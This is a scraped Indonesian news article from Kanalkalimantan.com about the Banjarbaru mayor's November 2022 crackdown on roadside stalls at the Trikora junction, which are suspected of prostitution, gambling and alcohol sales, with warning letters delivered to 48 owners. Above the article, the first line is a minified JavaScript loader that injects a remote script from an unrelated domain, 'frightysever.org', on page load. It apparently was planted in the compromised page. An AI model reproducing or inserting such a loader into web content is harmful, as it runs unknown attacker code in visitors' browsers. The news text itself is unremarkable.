(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Aditya Tertibkan Warung Jablai di Jalan Trikora, Surat Teguran Pertama Dilayangkan


KANALKALIMANTAN.COM, BANJARBARU – Keputusan Wali Kota Banjarbaru, Aditya Mufti Ariffin untuk menertibkan kawasan warung remang-remang di Jalan Trikora persimpangan LIK Liang Anggang, langsung ditindaklanjuti. Puluhan surat berisi teguran pertama dari Pemko Banjarbaru dilayangkan pada Kamis (3/11/2022) siang.

Tim gabungan dari puluhan personil Satpol PP dan Polres Banjarbaru diterjunkan saat kegiatan pendampingan ke lapangan. Pendataan dilakukan kepada setiap pemilik warung di kawasan tersebut.

Tercatat totalnya sebanyak 48 surat yang diberikan. Secara terperinci, 30 surat untuk setiap warung yang berada di pinggir jalan jurusan menuju Pelaihari, sisi kiri jalan Trikora sebanyak 12 surat dan sisi kanan jalan Trikora sebanyak 6 surat.

Faktanya, jumlah warung remang-remang yang berada di persimpangan LIK Liang Anggang ini belumlah dinyatakan final. Sebab berdasarkan pantauan petugas di lapangan masih terdapat kurang lebih 16 warung lainnya yang saat didapati masih dalam keadaan tutup.

 

 

Baca juga  Wali Kota Aditya Rencana Tertibkan Kawasan Warung Jablay di Jalan Trikora

“Disisi kanan jalan Trikora itu sebenarnya ada 22 warung. Tapi saat kita dapati tadi siang, hanya 6 saja yang baru buka. Menurut pemilik warung lain biasanya sehabis isya baru buka sampai menjelang subuh,” kata Kasi Opsdal Satpol PP Banjarbaru, Yanto Hidayat.

Dilayangkannya surat teguran perdana ini merupakan tindaklanjut Wali Kota Banjarbaru usai menerima banyaknya laporan dari masyarakat yang merasa resah dan terganggu. Kawasan warung remang-remang di persimpangan LIK Liang Anggang tersebut disinyalir telah beralih menjadi area prostitusi, perjudian hingga peredaran miras.

Kondisi ini akan nampak terlihat pada malam hingga menjelang subuh. Bahkan kekinian kawasan tersebut disebut-sebut sebagai Warung Jablai dengan mayoritas pengunjungnya ialah para sopir truk lintas daerah.

Baca juga  : Penahanan Mardani Maming Dipindah dari Rutan KPK ke Lapas Banjarmasin

Sebelumnya, Wali Kota Banjarbaru, Aditya Mufti Ariffin, telah melakukan koordinasi dengan Forum Komunikasi Pimpinan Daerah (Forkopimda) Kota Banjarbaru terkait permasalahan ini. Penekanan yang diinginkan Aditya dalam tindak lanjut ke depannya ialah penertiban dengan cara yang humanis dan persuasif.

“Atas banyaknya laporan dari masyarakat, saya putuskan untuk dilakukan penertiban. Untuk tahapannya kita mulai dengan surat teguran pertama, kedua dan ketiga. Kita coba penertiban dengan cara pendekatan sebaik mungkin,” ucap Aditya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

1 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

15 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

17 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

22 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

24 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.